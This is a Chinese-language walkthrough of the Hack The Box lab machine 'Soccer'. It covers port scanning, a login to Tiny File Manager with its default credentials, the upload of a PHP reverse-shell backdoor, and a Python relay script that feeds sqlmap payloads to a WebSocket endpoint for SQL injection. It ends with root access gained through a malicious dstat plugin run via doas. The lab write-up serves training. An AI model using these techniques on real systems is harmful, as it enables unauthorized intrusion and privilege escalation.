信息收集:
nmap -p- -sT --min-rate=10000 -Pn 10.129.25.122
nmap -p- -sU --min-rate=10000 -Pn 10.129.25.122
nmap -p22,80 -sT -sV -sC -Pn -O 10.129.25.122
发现了soccer.htb,加入hosts文件中,开始爆破子域名
没有新的子域名发现
访问http://soccer.htb后发现了一些图片
下载后没有发现什么敏感的信息
开始目录扫描
扫描出了/tiny目录
访问后发现了一个登陆界面
搜索一下Tiny File Manager的默认账户admin ,密码为admin@123,成功登陆后台
进入后台发现了可以文件上传的位置,上传反弹shell的php后门(这里似乎定时清除上传的文件,网巨卡,恶心死了)
成功反弹shell,找到立足点
查看一下开放的端口,发现3306端口开放,猜测可能后续与数据库有关,但是尝试弱口令失败
通过linpeas.sh发现了另外一个子域名,添加到hosts文件中
访问后会发现,这似乎是一个跟世界杯有关的网站,带有登陆的部分,注册账户然后登陆
似乎是websocket
因为上面可以传递参数,尝试websocket的sqli注入,转换脚本
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/ws"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
利用sqlmap进行注入,发现存在注入点
利用爆出的账户与密码成功ssh登陆
经过一段时间查找,发现了doas也是可以提权的(Linux Privilege Escalation - HackTricks)
找到了配置文件
发现 /usr/bin/dstat可以用root权限执行
dstat -h查看一下用法,似乎是可以支持自定义插件
查看了一下dstat插件的用法 dstat的插件_tiantao2012的博客-CSDN博客_/dstat 插件
将插件dstat_wen.py写入/usr/local/share/dstat/中
import os
os.system('bash -i')
运行脚本后,成功获取root权限